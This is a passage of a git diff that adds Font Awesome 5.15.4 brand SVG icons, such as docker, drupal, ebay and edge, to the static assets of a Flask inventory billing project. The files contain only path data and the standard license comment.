PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/discourse.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dochub.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dochub.svg new file mode 100644 index 00000000..ff8c4b93 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dochub.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 416 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/docker.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/docker.svg new file mode 100644 index 00000000..e4c80380 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/docker.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/draft2digital.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/draft2digital.svg new file mode 100644 index 00000000..279f74c9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/draft2digital.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dribbble-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dribbble-square.svg new file mode 100644 index 00000000..19fe9db7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dribbble-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dribbble.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dribbble.svg new file mode 100644 index 00000000..3b1f3f33 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dribbble.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dropbox.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dropbox.svg new file mode 100644 index 00000000..9ef4ae66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dropbox.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 528 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/drupal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/drupal.svg new file mode 100644 index 00000000..7d355f54 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/drupal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dyalog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dyalog.svg new file mode 100644 index 00000000..dfae4856 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/dyalog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 416 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/earlybirds.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/earlybirds.svg new file mode 100644 index 00000000..5768ebf6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/earlybirds.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ebay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ebay.svg new file mode 100644 index 00000000..1d1360cf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ebay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/edge-legacy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/edge-legacy.svg new file mode 100644 index 00000000..1f643536 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/edge-legacy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/edge.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/edge.svg new file mode 100644 index 00000000..cfea8914 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/edge.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/elementor.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/elementor.svg new file mode 100644 index 00000000..6936e14b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/elementor.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ello.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ello.svg new file mode 100644 index 00000000..80cfbec6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ello.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ember.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ember.svg new file mode 100644 index 00000000..58a1de71 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ember.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/empire.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/empire.svg new file mode 100644 index 00000000..7f2b53a1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/empire.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 